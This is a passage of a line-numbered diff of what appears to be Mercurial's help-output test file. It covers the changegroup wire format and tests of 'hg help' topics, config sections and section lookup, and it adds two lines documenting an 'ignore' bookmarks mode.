1146 1146 level, versions "1" and "2" are almost exactly the same, with the only
1147 1147 difference being an additional item in the *delta header*. Version "3"
1148 1148 adds support for storage flags in the *delta header* and optionally
1149 1149 exchanging treemanifests (enabled by setting an option on the
1150 1150 "changegroup" part in the bundle2). Version "4" adds support for
1151 1151 exchanging sidedata (additional revision metadata not part of the digest).
1152 1152
1153 1153 Changegroups when not exchanging treemanifests consist of 3 logical
1154 1154 segments:
1155 1155
1156 1156 +---------------------------------+
1157 1157 | | | |
1158 1158 | changeset | manifest | filelogs |
1159 1159 | | | |
1160 1160 | | | |
1161 1161 +---------------------------------+
1162 1162
1163 1163 When exchanging treemanifests, there are 4 logical segments:
1164 1164
1165 1165 +-------------------------------------------------+
1166 1166 | | | | |
1167 1167 | changeset | root | treemanifests | filelogs |
1168 1168 | | manifest | | |
1169 1169 | | | | |
1170 1170 +-------------------------------------------------+
1171 1171
1172 1172 The principle building block of each segment is a *chunk*. A *chunk* is a
1173 1173 framed piece of data:
1174 1174
1175 1175 +---------------------------------------+
1176 1176 | | |
1177 1177 | length | data |
1178 1178 | (4 bytes) | (<length - 4> bytes) |
1179 1179 | | |
1180 1180 +---------------------------------------+
1181 1181
1182 1182 All integers are big-endian signed integers. Each chunk starts with a
1183 1183 32-bit integer indicating the length of the entire chunk (including the
1184 1184 length field itself).
1185 1185
1186 1186 There is a special case chunk that has a value of 0 for the length
1187 1187 ("0x00000000"). We call this an *empty chunk*.
1188 1188
1189 1189 Delta Groups
1190 1190 ============
1191 1191
1192 1192 A *delta group* expresses the content of a revlog as a series of deltas,
1193 1193 or patches against previous revisions.
1194 1194
1195 1195 Delta groups consist of 0 or more *chunks* followed by the *empty chunk*
1196 1196 to signal the end of the delta group:
1197 1197
1198 1198 +------------------------------------------------------------------------+
1199 1199 | | | | | |
1200 1200 | chunk0 length | chunk0 data | chunk1 length | chunk1 data | 0x0 |
1201 1201 | (4 bytes) | (various) | (4 bytes) | (various) | (4 bytes) |
1202 1202 | | | | | |
1203 1203 +------------------------------------------------------------------------+
1204 1204
1205 1205 Each *chunk*'s data consists of the following:
1206 1206
1207 1207 +---------------------------------------+
1208 1208 | | |
1209 1209 | delta header | delta data |
1210 1210 | (various by version) | (various) |
1211 1211 | | |
1212 1212 +---------------------------------------+
1213 1213
1214 1214 The *delta data* is a series of *delta*s that describe a diff from an
1215 1215 existing entry (either that the recipient already has, or previously
1216 1216 specified in the bundle/changegroup).
1217 1217
1218 1218 The *delta header* is different between versions "1", "2", "3" and "4" of
1219 1219 the changegroup format.
1220 1220
1221 1221 Version 1 (headerlen=80):
1222 1222
1223 1223 +------------------------------------------------------+
1224 1224 | | | | |
1225 1225 | node | p1 node | p2 node | link node |
1226 1226 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) |
1227 1227 | | | | |
1228 1228 +------------------------------------------------------+
1229 1229
1230 1230 Version 2 (headerlen=100):
1231 1231
1232 1232 +------------------------------------------------------------------+
1233 1233 | | | | | |
1234 1234 | node | p1 node | p2 node | base node | link node |
1235 1235 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) |
1236 1236 | | | | | |
1237 1237 +------------------------------------------------------------------+
1238 1238
1239 1239 Version 3 (headerlen=102):
1240 1240
1241 1241 +------------------------------------------------------------------------------+
1242 1242 | | | | | | |
1243 1243 | node | p1 node | p2 node | base node | link node | flags |
1244 1244 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (2 bytes) |
1245 1245 | | | | | | |
1246 1246 +------------------------------------------------------------------------------+
1247 1247
1248 1248 Version 4 (headerlen=103):
1249 1249
1250 1250 +------------------------------------------------------------------------------+----------+
1251 1251 | | | | | | | |
1252 1252 | node | p1 node | p2 node | base node | link node | flags | pflags |
1253 1253 | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (20 bytes) | (2 bytes) | (1 byte) |
1254 1254 | | | | | | | |
1255 1255 +------------------------------------------------------------------------------+----------+
1256 1256
1257 1257 The *delta data* consists of "chunklen - 4 - headerlen" bytes, which
1258 1258 contain a series of *delta*s, densely packed (no separators). These deltas
1259 1259 describe a diff from an existing entry (either that the recipient already
1260 1260 has, or previously specified in the bundle/changegroup). The format is
1261 1261 described more fully in "hg help internals.bdiff", but briefly:
1262 1262
1263 1263 +---------------------------------------------------------------+
1264 1264 | | | | |
1265 1265 | start offset | end offset | new length | content |
1266 1266 | (4 bytes) | (4 bytes) | (4 bytes) | (<new length> bytes) |
1267 1267 | | | | |
1268 1268 +---------------------------------------------------------------+
1269 1269
1270 1270 Please note that the length field in the delta data does *not* include
1271 1271 itself.
1272 1272
1273 1273 In version 1, the delta is always applied against the previous node from
1274 1274 the changegroup or the first parent if this is the first entry in the
1275 1275 changegroup.
1276 1276
1277 1277 In version 2 and up, the delta base node is encoded in the entry in the
1278 1278 changegroup. This allows the delta to be expressed against any parent,
1279 1279 which can result in smaller deltas and more efficient encoding of data.
1280 1280
1281 1281 The *flags* field holds bitwise flags affecting the processing of revision
1282 1282 data. The following flags are defined:
1283 1283
1284 1284 32768
1285 1285 Censored revision. The revision's fulltext has been replaced by censor
1286 1286 metadata. May only occur on file revisions.
1287 1287
1288 1288 16384
1289 1289 Ellipsis revision. Revision hash does not match data (likely due to
1290 1290 rewritten parents).
1291 1291
1292 1292 8192
1293 1293 Externally stored. The revision fulltext contains "key:value" "\n"
1294 1294 delimited metadata defining an object stored elsewhere. Used by the LFS
1295 1295 extension.
1296 1296
1297 1297 4096
1298 1298 Contains copy information. This revision changes files in a way that
1299 1299 could affect copy tracing. This does *not* affect changegroup handling,
1300 1300 but is relevant for other parts of Mercurial.
1301 1301
1302 1302 For historical reasons, the integer values are identical to revlog version
1303 1303 1 per-revision storage flags and correspond to bits being set in this
1304 1304 2-byte field. Bits were allocated starting from the most-significant bit,
1305 1305 hence the reverse ordering and allocation of these flags.
1306 1306
1307 1307 The *pflags* (protocol flags) field holds bitwise flags affecting the
1308 1308 protocol itself. They are first in the header since they may affect the
1309 1309 handling of the rest of the fields in a future version. They are defined
1310 1310 as such:
1311 1311
1312 1312 1 indicates whether to read a chunk of sidedata (of variable length) right
1313 1313 after the revision flags.
1314 1314
1315 1315 Changeset Segment
1316 1316 =================
1317 1317
1318 1318 The *changeset segment* consists of a single *delta group* holding
1319 1319 changelog data. The *empty chunk* at the end of the *delta group* denotes
1320 1320 the boundary to the *manifest segment*.
1321 1321
1322 1322 Manifest Segment
1323 1323 ================
1324 1324
1325 1325 The *manifest segment* consists of a single *delta group* holding manifest
1326 1326 data. If treemanifests are in use, it contains only the manifest for the
1327 1327 root directory of the repository. Otherwise, it contains the entire
1328 1328 manifest data. The *empty chunk* at the end of the *delta group* denotes
1329 1329 the boundary to the next segment (either the *treemanifests segment* or
1330 1330 the *filelogs segment*, depending on version and the request options).
1331 1331
1332 1332 Treemanifests Segment
1333 1333 ---------------------
1334 1334
1335 1335 The *treemanifests segment* only exists in changegroup version "3" and
1336 1336 "4", and only if the 'treemanifest' param is part of the bundle2
1337 1337 changegroup part (it is not possible to use changegroup version 3 or 4
1338 1338 outside of bundle2). Aside from the filenames in the *treemanifests
1339 1339 segment* containing a trailing "/" character, it behaves identically to
1340 1340 the *filelogs segment* (see below). The final sub-segment is followed by
1341 1341 an *empty chunk* (logically, a sub-segment with filename size 0). This
1342 1342 denotes the boundary to the *filelogs segment*.
1343 1343
1344 1344 Filelogs Segment
1345 1345 ================
1346 1346
1347 1347 The *filelogs segment* consists of multiple sub-segments, each
1348 1348 corresponding to an individual file whose data is being described:
1349 1349
1350 1350 +--------------------------------------------------+
1351 1351 | | | | | |
1352 1352 | filelog0 | filelog1 | filelog2 | ... | 0x0 |
1353 1353 | | | | | (4 bytes) |
1354 1354 | | | | | |
1355 1355 +--------------------------------------------------+
1356 1356
1357 1357 The final filelog sub-segment is followed by an *empty chunk* (logically,
1358 1358 a sub-segment with filename size 0). This denotes the end of the segment
1359 1359 and of the overall changegroup.
1360 1360
1361 1361 Each filelog sub-segment consists of the following:
1362 1362
1363 1363 +------------------------------------------------------+
1364 1364 | | | |
1365 1365 | filename length | filename | delta group |
1366 1366 | (4 bytes) | (<length - 4> bytes) | (various) |
1367 1367 | | | |
1368 1368 +------------------------------------------------------+
1369 1369
1370 1370 That is, a *chunk* consisting of the filename (not terminated or padded)
1371 1371 followed by N chunks constituting the *delta group* for this file. The
1372 1372 *empty chunk* at the end of each *delta group* denotes the boundary to the
1373 1373 next filelog sub-segment.
1374 1374
1375 1375 non-existent subtopics print an error
1376 1376
1377 1377 $ hg help internals.foo
1378 1378 abort: no such help topic: internals.foo
1379 1379 (try 'hg help --keyword foo')
1380 1380 [10]
1381 1381
1382 1382 test advanced, deprecated and experimental options are hidden in command help
1383 1383 $ hg help debugoptADV
1384 1384 hg debugoptADV
1385 1385
1386 1386 (no help text available)
1387 1387
1388 1388 options:
1389 1389
1390 1390 (some details hidden, use --verbose to show complete help)
1391 1391 $ hg help debugoptDEP
1392 1392 hg debugoptDEP
1393 1393
1394 1394 (no help text available)
1395 1395
1396 1396 options:
1397 1397
1398 1398 (some details hidden, use --verbose to show complete help)
1399 1399
1400 1400 $ hg help debugoptEXP
1401 1401 hg debugoptEXP
1402 1402
1403 1403 (no help text available)
1404 1404
1405 1405 options:
1406 1406
1407 1407 (some details hidden, use --verbose to show complete help)
1408 1408
1409 1409 test advanced, deprecated and experimental options are shown with -v
1410 1410 $ hg help -v debugoptADV | grep aopt
1411 1411 --aopt option is (ADVANCED)
1412 1412 $ hg help -v debugoptDEP | grep dopt
1413 1413 --dopt option is (DEPRECATED)
1414 1414 $ hg help -v debugoptEXP | grep eopt
1415 1415 --eopt option is (EXPERIMENTAL)
1416 1416
1417 1417 #if gettext
1418 1418 test deprecated option is hidden with translation with untranslated description
1419 1419 (use many globy for not failing on changed transaction)
1420 1420 $ LANGUAGE=sv hg help debugoptDEP
1421 1421 hg debugoptDEP
1422 1422
1423 1423 (*) (glob)
1424 1424
1425 1425 options:
1426 1426
1427 1427 (some details hidden, use --verbose to show complete help)
1428 1428 #endif
1429 1429
1430 1430 Test commands that collide with topics (issue4240)
1431 1431
1432 1432 $ hg config -hq
1433 1433 hg config [-u] [NAME]...
1434 1434
1435 1435 show combined config settings from all hgrc files
1436 1436 $ hg showconfig -hq
1437 1437 hg config [-u] [NAME]...
1438 1438
1439 1439 show combined config settings from all hgrc files
1440 1440
1441 1441 Test a help topic
1442 1442
1443 1443 $ hg help dates
1444 1444 Date Formats
1445 1445 """"""""""""
1446 1446
1447 1447 Some commands allow the user to specify a date, e.g.:
1448 1448
1449 1449 - backout, commit, import, tag: Specify the commit date.
1450 1450 - log, revert, update: Select revision(s) by date.
1451 1451
1452 1452 Many date formats are valid. Here are some examples:
1453 1453
1454 1454 - "Wed Dec 6 13:18:29 2006" (local timezone assumed)
1455 1455 - "Dec 6 13:18 -0600" (year assumed, time offset provided)
1456 1456 - "Dec 6 13:18 UTC" (UTC and GMT are aliases for +0000)
1457 1457 - "Dec 6" (midnight)
1458 1458 - "13:18" (today assumed)
1459 1459 - "3:39" (3:39AM assumed)
1460 1460 - "3:39pm" (15:39)
1461 1461 - "2006-12-06 13:18:29" (ISO 8601 format)
1462 1462 - "2006-12-6 13:18"
1463 1463 - "2006-12-6"
1464 1464 - "12-6"
1465 1465 - "12/6"
1466 1466 - "12/6/6" (Dec 6 2006)
1467 1467 - "today" (midnight)
1468 1468 - "yesterday" (midnight)
1469 1469 - "now" - right now
1470 1470
1471 1471 Lastly, there is Mercurial's internal format:
1472 1472
1473 1473 - "1165411109 0" (Wed Dec 6 13:18:29 2006 UTC)
1474 1474
1475 1475 This is the internal representation format for dates. The first number is
1476 1476 the number of seconds since the epoch (1970-01-01 00:00 UTC). The second
1477 1477 is the offset of the local timezone, in seconds west of UTC (negative if
1478 1478 the timezone is east of UTC).
1479 1479
1480 1480 The log command also accepts date ranges:
1481 1481
1482 1482 - "<DATE" - at or before a given date/time
1483 1483 - ">DATE" - on or after a given date/time
1484 1484 - "DATE to DATE" - a date range, inclusive
1485 1485 - "-DAYS" - within a given number of days from today
1486 1486
1487 1487 Test repeated config section name
1488 1488
1489 1489 $ hg help config.host
1490 1490 "http_proxy.host"
1491 1491 Host name and (optional) port of the proxy server, for example
1492 1492 "myproxy:8000".
1493 1493
1494 1494 "smtp.host"
1495 1495 Host name of mail server, e.g. "mail.example.com".
1496 1496
1497 1497
1498 1498 Test section name with dot
1499 1499
1500 1500 $ hg help config.ui.username
1501 1501 "ui.username"
1502 1502 The committer of a changeset created when running "commit". Typically
1503 1503 a person's name and email address, e.g. "Fred Widget
1504 1504 <fred@example.com>". Environment variables in the username are
1505 1505 expanded.
1506 1506
1507 1507 (default: "$EMAIL" or "username@hostname". If the username in hgrc is
1508 1508 empty, e.g. if the system admin set "username =" in the system hgrc,
1509 1509 it has to be specified manually or in a different hgrc file)
1510 1510
1511 1511
1512 1512 $ hg help config.annotate.git
1513 1513 abort: help section not found: config.annotate.git
1514 1514 [10]
1515 1515
1516 1516 $ hg help config.update.check
1517 1517 "commands.update.check"
1518 1518 Determines what level of checking 'hg update' will perform before
1519 1519 moving to a destination revision. Valid values are "abort", "none",
1520 1520 "linear", and "noconflict". "abort" always fails if the working
1521 1521 directory has uncommitted changes. "none" performs no checking, and
1522 1522 may result in a merge with uncommitted changes. "linear" allows any
1523 1523 update as long as it follows a straight line in the revision history,
1524 1524 and may trigger a merge with uncommitted changes. "noconflict" will
1525 1525 allow any update which would not trigger a merge with uncommitted
1526 1526 changes, if any are present. (default: "linear")
1527 1527
1528 1528
1529 1529 $ hg help config.commands.update.check
1530 1530 "commands.update.check"
1531 1531 Determines what level of checking 'hg update' will perform before
1532 1532 moving to a destination revision. Valid values are "abort", "none",
1533 1533 "linear", and "noconflict". "abort" always fails if the working
1534 1534 directory has uncommitted changes. "none" performs no checking, and
1535 1535 may result in a merge with uncommitted changes. "linear" allows any
1536 1536 update as long as it follows a straight line in the revision history,
1537 1537 and may trigger a merge with uncommitted changes. "noconflict" will
1538 1538 allow any update which would not trigger a merge with uncommitted
1539 1539 changes, if any are present. (default: "linear")
1540 1540
1541 1541
1542 1542 $ hg help config.ommands.update.check
1543 1543 abort: help section not found: config.ommands.update.check
1544 1544 [10]
1545 1545
1546 1546 Unrelated trailing paragraphs shouldn't be included
1547 1547
1548 1548 $ hg help config.extramsg | grep '^$'
1549 1549
1550 1550
1551 1551 Test capitalized section name
1552 1552
1553 1553 $ hg help scripting.HGPLAIN > /dev/null
1554 1554
1555 1555 Help subsection:
1556 1556
1557 1557 $ hg help config.charsets |grep "Email example:" > /dev/null
1558 1558 [1]
1559 1559
1560 1560 Show nested definitions
1561 1561 ("profiling.type"[break]"ls"[break]"stat"[break])
1562 1562
1563 1563 $ hg help config.type | egrep '^$'|wc -l
1564 1564 \s*3 (re)
1565 1565
1566 1566 $ hg help config.profiling.type.ls
1567 1567 "profiling.type.ls"
1568 1568 Use Python's built-in instrumenting profiler. This profiler works on
1569 1569 all platforms, but each line number it reports is the first line of
1570 1570 a function. This restriction makes it difficult to identify the
1571 1571 expensive parts of a non-trivial function.
1572 1572
1573 1573
1574 1574 Separate sections from subsections
1575 1575
1576 1576 $ hg help config.format | egrep '^ ("|-)|^\s*$' | uniq
1577 1577 "format"
1578 1578 --------
1579 1579
1580 1580 "usegeneraldelta"
1581 1581
1582 1582 "dotencode"
1583 1583
1584 1584 "usefncache"
1585 1585
1586 1586 "use-persistent-nodemap"
1587 1587
1588 1588 "use-share-safe"
1589 1589
1590 1590 "usestore"
1591 1591
1592 1592 "sparse-revlog"
1593 1593
1594 1594 "revlog-compression"
1595 1595
1596 1596 "bookmarks-in-store"
1597 1597
1598 1598 "profiling"
1599 1599 -----------
1600 1600
1601 1601 "format"
1602 1602
1603 1603 "progress"
1604 1604 ----------
1605 1605
1606 1606 "format"
1607 1607
1608 1608
1609 1609 Last item in help config.*:
1610 1610
1611 1611 $ hg help config.`hg help config|grep '^ "'| \
1612 1612 > tail -1|sed 's![ "]*!!g'`| \
1613 1613 > grep 'hg help -c config' > /dev/null
1614 1614 [1]
1615 1615
1616 1616 note to use help -c for general hg help config:
1617 1617
1618 1618 $ hg help config |grep 'hg help -c config' > /dev/null
1619 1619
1620 1620 Test templating help
1621 1621
1622 1622 $ hg help templating | egrep '(desc|diffstat|firstline|nonempty) '
1623 1623 desc String. The text of the changeset description.
1624 1624 diffstat String. Statistics of changes with the following format:
1625 1625 firstline Any text. Returns the first line of text.
1626 1626 nonempty Any text. Returns '(none)' if the string is empty.
1627 1627
1628 1628 Test deprecated items
1629 1629
1630 1630 $ hg help -v templating | grep currentbookmark
1631 1631 currentbookmark
1632 1632 $ hg help templating | (grep currentbookmark || true)
1633 1633
1634 1634 Test help hooks
1635 1635
1636 1636 $ cat > helphook1.py <<EOF
1637 1637 > from mercurial import help
1638 1638 >
1639 1639 > def rewrite(ui, topic, doc):
1640 1640 > return doc + b'\nhelphook1\n'
1641 1641 >
1642 1642 > def extsetup(ui):
1643 1643 > help.addtopichook(b'revisions', rewrite)
1644 1644 > EOF
1645 1645 $ cat > helphook2.py <<EOF
1646 1646 > from mercurial import help
1647 1647 >
1648 1648 > def rewrite(ui, topic, doc):
1649 1649 > return doc + b'\nhelphook2\n'
1650 1650 >
1651 1651 > def extsetup(ui):
1652 1652 > help.addtopichook(b'revisions', rewrite)
1653 1653 > EOF
1654 1654 $ echo '[extensions]' >> $HGRCPATH
1655 1655 $ echo "helphook1 = `pwd`/helphook1.py" >> $HGRCPATH
1656 1656 $ echo "helphook2 = `pwd`/helphook2.py" >> $HGRCPATH
1657 1657 $ hg help revsets | grep helphook
1658 1658 helphook1
1659 1659 helphook2
1660 1660
1661 1661 help -c should only show debug --debug
1662 1662
1663 1663 $ hg help -c --debug|egrep debug|wc -l|egrep '^\s*0\s*$'
1664 1664 [1]
1665 1665
1666 1666 help -c should only show deprecated for -v
1667 1667
1668 1668 $ hg help -c -v|egrep DEPRECATED|wc -l|egrep '^\s*0\s*$'
1669 1669 [1]
1670 1670
1671 1671 Test -s / --system
1672 1672
1673 1673 $ hg help config.files -s windows |grep 'etc/mercurial' | \
1674 1674 > wc -l | sed -e 's/ //g'
1675 1675 0
1676 1676 $ hg help config.files --system unix | grep 'USER' | \
1677 1677 > wc -l | sed -e 's/ //g'
1678 1678 0
1679 1679
1680 1680 Test -e / -c / -k combinations
1681 1681
1682 1682 $ hg help -c|egrep '^[A-Z].*:|^ debug'
1683 1683 Commands:
1684 1684 $ hg help -e|egrep '^[A-Z].*:|^ debug'
1685 1685 Extensions:
1686 1686 $ hg help -k|egrep '^[A-Z].*:|^ debug'
1687 1687 Topics:
1688 1688 Commands:
1689 1689 Extensions:
1690 1690 Extension Commands:
1691 1691 $ hg help -c schemes
1692 1692 abort: no such help topic: schemes
1693 1693 (try 'hg help --keyword schemes')
1694 1694 [10]
1695 1695 $ hg help -e schemes |head -1
1696 1696 schemes extension - extend schemes with shortcuts to repository swarms
1697 1697 $ hg help -c -k dates |egrep '^(Topics|Extensions|Commands):'
1698 1698 Commands:
1699 1699 $ hg help -e -k a |egrep '^(Topics|Extensions|Commands):'
1700 1700 Extensions:
1701 1701 $ hg help -e -c -k date |egrep '^(Topics|Extensions|Commands):'
1702 1702 Extensions:
1703 1703 Commands:
1704 1704 $ hg help -c commit > /dev/null
1705 1705 $ hg help -e -c commit > /dev/null
1706 1706 $ hg help -e commit
1707 1707 abort: no such help topic: commit
1708 1708 (try 'hg help --keyword commit')
1709 1709 [10]
1710 1710
1711 1711 Test keyword search help
1712 1712
1713 1713 $ cat > prefixedname.py <<EOF
1714 1714 > '''matched against word "clone"
1715 1715 > '''
1716 1716 > EOF
1717 1717 $ echo '[extensions]' >> $HGRCPATH
1718 1718 $ echo "dot.dot.prefixedname = `pwd`/prefixedname.py" >> $HGRCPATH
1719 1719 $ hg help -k clone
1720 1720 Topics:
1721 1721
1722 1722 config Configuration Files
1723 1723 extensions Using Additional Features
1724 1724 glossary Glossary
1725 1725 phases Working with Phases
1726 1726 subrepos Subrepositories
1727 1727 urls URL Paths
1728 1728
1729 1729 Commands:
1730 1730
1731 1731 bookmarks create a new bookmark or list existing bookmarks
1732 1732 clone make a copy of an existing repository
1733 1733 paths show aliases for remote repositories
1734 1734 pull pull changes from the specified source
1735 1735 update update working directory (or switch revisions)
1736 1736
1737 1737 Extensions:
1738 1738
1739 1739 clonebundles advertise pre-generated bundles to seed clones
1740 1740 narrow create clones which fetch history data for subset of files
1741 1741 (EXPERIMENTAL)
1742 1742 prefixedname matched against word "clone"
1743 1743 relink recreates hardlinks between repository clones
1744 1744
1745 1745 Extension Commands:
1746 1746
1747 1747 qclone clone main and patch repository at same time
1748 1748
1749 1749 Test unfound topic
1750 1750
1751 1751 $ hg help nonexistingtopicthatwillneverexisteverever
1752 1752 abort: no such help topic: nonexistingtopicthatwillneverexisteverever
1753 1753 (try 'hg help --keyword nonexistingtopicthatwillneverexisteverever')
1754 1754 [10]
1755 1755
1756 1756 Test unfound keyword
1757 1757
1758 1758 $ hg help --keyword nonexistingwordthatwillneverexisteverever
1759 1759 abort: no matches
1760 1760 (try 'hg help' for a list of topics)
1761 1761 [10]
1762 1762
1763 1763 Test omit indicating for help
1764 1764
1765 1765 $ cat > addverboseitems.py <<EOF
1766 1766 > r'''extension to test omit indicating.
1767 1767 >
1768 1768 > This paragraph is never omitted (for extension)
1769 1769 >
1770 1770 > .. container:: verbose
1771 1771 >
1772 1772 > This paragraph is omitted,
1773 1773 > if :hg:\`help\` is invoked without \`\`-v\`\` (for extension)
1774 1774 >
1775 1775 > This paragraph is never omitted, too (for extension)
1776 1776 > '''
1777 1777 > from __future__ import absolute_import
1778 1778 > from mercurial import commands, help
1779 1779 > testtopic = br"""This paragraph is never omitted (for topic).
1780 1780 >
1781 1781 > .. container:: verbose
1782 1782 >
1783 1783 > This paragraph is omitted,
1784 1784 > if :hg:\`help\` is invoked without \`\`-v\`\` (for topic)
1785 1785 >
1786 1786 > This paragraph is never omitted, too (for topic)
1787 1787 > """
1788 1788 > def extsetup(ui):
1789 1789 > help.helptable.append(([b"topic-containing-verbose"],
1790 1790 > b"This is the topic to test omit indicating.",
1791 1791 > lambda ui: testtopic))
1792 1792 > EOF
1793 1793 $ echo '[extensions]' >> $HGRCPATH
1794 1794 $ echo "addverboseitems = `pwd`/addverboseitems.py" >> $HGRCPATH
1795 1795 $ hg help addverboseitems
1796 1796 addverboseitems extension - extension to test omit indicating.
1797 1797
1798 1798 This paragraph is never omitted (for extension)
1799 1799
1800 1800 This paragraph is never omitted, too (for extension)
1801 1801
1802 1802 (some details hidden, use --verbose to show complete help)
1803 1803
1804 1804 no commands defined
1805 1805 $ hg help -v addverboseitems
1806 1806 addverboseitems extension - extension to test omit indicating.
1807 1807
1808 1808 This paragraph is never omitted (for extension)
1809 1809
1810 1810 This paragraph is omitted, if 'hg help' is invoked without "-v" (for
1811 1811 extension)
1812 1812
1813 1813 This paragraph is never omitted, too (for extension)
1814 1814
1815 1815 no commands defined
1816 1816 $ hg help topic-containing-verbose
1817 1817 This is the topic to test omit indicating.
1818 1818 """"""""""""""""""""""""""""""""""""""""""
1819 1819
1820 1820 This paragraph is never omitted (for topic).
1821 1821
1822 1822 This paragraph is never omitted, too (for topic)
1823 1823
1824 1824 (some details hidden, use --verbose to show complete help)
1825 1825 $ hg help -v topic-containing-verbose
1826 1826 This is the topic to test omit indicating.
1827 1827 """"""""""""""""""""""""""""""""""""""""""
1828 1828
1829 1829 This paragraph is never omitted (for topic).
1830 1830
1831 1831 This paragraph is omitted, if 'hg help' is invoked without "-v" (for
1832 1832 topic)
1833 1833
1834 1834 This paragraph is never omitted, too (for topic)
1835 1835
1836 1836 Test section lookup
1837 1837
1838 1838 $ hg help revset.merge
1839 1839 "merge()"
1840 1840 Changeset is a merge changeset.
1841 1841
1842 1842 $ hg help glossary.dag
1843 1843 DAG
1844 1844 The repository of changesets of a distributed version control system
1845 1845 (DVCS) can be described as a directed acyclic graph (DAG), consisting
1846 1846 of nodes and edges, where nodes correspond to changesets and edges
1847 1847 imply a parent -> child relation. This graph can be visualized by
1848 1848 graphical tools such as 'hg log --graph'. In Mercurial, the DAG is
1849 1849 limited by the requirement for children to have at most two parents.
1850 1850
1851 1851
1852 1852 $ hg help hgrc.paths
1853 1853 "paths"
1854 1854 -------
1855 1855
1856 1856 Assigns symbolic names and behavior to repositories.
1857 1857
1858 1858 Options are symbolic names defining the URL or directory that is the
1859 1859 location of the repository. Example:
1860 1860
1861 1861 [paths]
1862 1862 my_server = https://example.com/my_repo
1863 1863 local_path = /home/me/repo
1864 1864
1865 1865 These symbolic names can be used from the command line. To pull from
1866 1866 "my_server": 'hg pull my_server'. To push to "local_path": 'hg push
1867 1867 local_path'. You can check 'hg help urls' for details about valid URLs.
1868 1868
1869 1869 Options containing colons (":") denote sub-options that can influence
1870 1870 behavior for that specific path. Example:
1871 1871
1872 1872 [paths]
1873 1873 my_server = https://example.com/my_path
1874 1874 my_server:pushurl = ssh://example.com/my_path
1875 1875
1876 1876 Paths using the 'path://otherpath' scheme will inherit the sub-options
1877 1877 value from the path they point to.
1878 1878
1879 1879 The following sub-options can be defined:
1880 1880
1881 1881 "multi-urls"
1882 1882 A boolean option. When enabled the value of the '[paths]' entry will be
1883 1883 parsed as a list and the alias will resolve to multiple destination. If
1884 1884 some of the list entry use the 'path://' syntax, the suboption will be
1885 1885 inherited individually.
1886 1886
1887 1887 "pushurl"
1888 1888 The URL to use for push operations. If not defined, the location
1889 1889 defined by the path's main entry is used.
1890 1890
1891 1891 "pushrev"
1892 1892 A revset defining which revisions to push by default.
1893 1893
1894 1894 When 'hg push' is executed without a "-r" argument, the revset defined
1895 1895 by this sub-option is evaluated to determine what to push.
1896 1896
1897 1897 For example, a value of "." will push the working directory's revision
1898 1898 by default.
1899 1899
1900 1900 Revsets specifying bookmarks will not result in the bookmark being
1901 1901 pushed.
1902 1902
1903 1903 "bookmarks.mode"
1904 1904 How bookmark will be dealt during the exchange. It support the following
1905 1905 value
1906 1906
1907 1907 - "default": the default behavior, local and remote bookmarks are
1908 1908 "merged" on push/pull.
1909 1909 - "mirror": when pulling, replace local bookmarks by remote bookmarks.
1910 1910 This is useful to replicate a repository, or as an optimization.
1911 - "ignore": ignore bookmarks during exchange. (This currently only
1912 affect pulling)
1911 1913
1912 1914 The following special named paths exist:
1913 1915
1914 1916 "default"
1915 1917 The URL or directory to use when no source or remote is specified.
1916 1918
1917 1919 'hg clone' will automatically define this path to the location the
1918 1920 repository was cloned from.
1919 1921
1920 1922 "default-push"
1921 1923 (deprecated) The URL or directory for the default 'hg push' location.
1922 1924 "default:pushurl" should be used instead.
1923 1925
1924 1926 $ hg help glossary.mcguffin
1925 1927 abort: help section not found: glossary.mcguffin
1926 1928 [10]
1927 1929
1928 1930 $ hg help glossary.mc.guffin
1929 1931 abort: help section not found: glossary.mc.guffin
1930 1932 [10]
1931 1933
1932 1934 $ hg help template.files
1933 1935 files List of strings. All files modified, added, or removed by
1934 1936 this changeset.
1935 1937 files(pattern)
1936 1938 All files of the current changeset matching the pattern. See
1937 1939 'hg help patterns'.
1938 1940
1939 1941 Test section lookup by translated message
1940 1942
1941 1943 str.lower() instead of encoding.lower(str) on translated message might
1942 1944 make message meaningless, because some encoding uses 0x41(A) - 0x5a(Z)
1943 1945 as the second or later byte of multi-byte character.
1944 1946
1945 1947 For example, "\x8bL\x98^" (translation of "record" in ja_JP.cp932)
1946 1948 contains 0x4c (L). str.lower() replaces 0x4c(L) by 0x6c(l) and this
1947 1949 replacement makes message meaningless.
1948 1950
1949 1951 This tests that section lookup by translated string isn't broken by
1950 1952 such str.lower().
1951 1953
1952 1954 $ "$PYTHON" <<EOF
1953 1955 > def escape(s):
1954 1956 > return b''.join(b'\\u%x' % ord(uc) for uc in s.decode('cp932'))
1955 1957 > # translation of "record" in ja_JP.cp932
1956 1958 > upper = b"\x8bL\x98^"
1957 1959 > # str.lower()-ed section name should be treated as different one
1958 1960 > lower = b"\x8bl\x98^"
1959 1961 > with open('ambiguous.py', 'wb') as fp:
1960 1962 > fp.write(b"""# ambiguous section names in ja_JP.cp932
1961 1963 > u'''summary of extension
1962 1964 >
1963 1965 > %s
1964 1966 > ----
1965 1967 >
1966 1968 > Upper name should show only this message
1967 1969 >
1968 1970 > %s
1969 1971 > ----
1970 1972 >
1971 1973 > Lower name should show only this message
1972 1974 >
1973 1975 > subsequent section
1974 1976 > ------------------
1975 1977 >
1976 1978 > This should be hidden at 'hg help ambiguous' with section name.
1977 1979 > '''
1978 1980 > """ % (escape(upper), escape(lower)))
1979 1981 > EOF
1980 1982
1981 1983 $ cat >> $HGRCPATH <<EOF
1982 1984 > [extensions]
1983 1985 > ambiguous = ./ambiguous.py
1984 1986 > EOF
1985 1987
1986 1988 $ "$PYTHON" <<EOF | sh
1987 1989 > from mercurial.utils import procutil
1988 1990 > upper = b"\x8bL\x98^"
1989 1991 > procutil.stdout.write(b"hg --encoding cp932 help -e ambiguous.%s\n" % upper)
1990 1992 > EOF
1991 1993 \x8bL\x98^ (esc)
1992 1994 ----
1993 1995
1994 1996 Upper name should show only this message
1995 1997
1996 1998
1997 1999 $ "$PYTHON" <<EOF | sh
1998 2000 > from mercurial.utils import procutil
1999 2001 > lower = b"\x8bl\x98^"
2000 2002 > procutil.stdout.write(b"hg --encoding cp932 help -e ambiguous.%s\n" % lower)
2001 2003 > EOF
2002 2004 \x8bl\x98^ (esc)
2003 2005 ----
2004 2006
2005 2007 Lower name should show only this message
2006 2008
2007 2009
2008 2010 $ cat >> $HGRCPATH <<EOF
2009 2011 > [extensions]
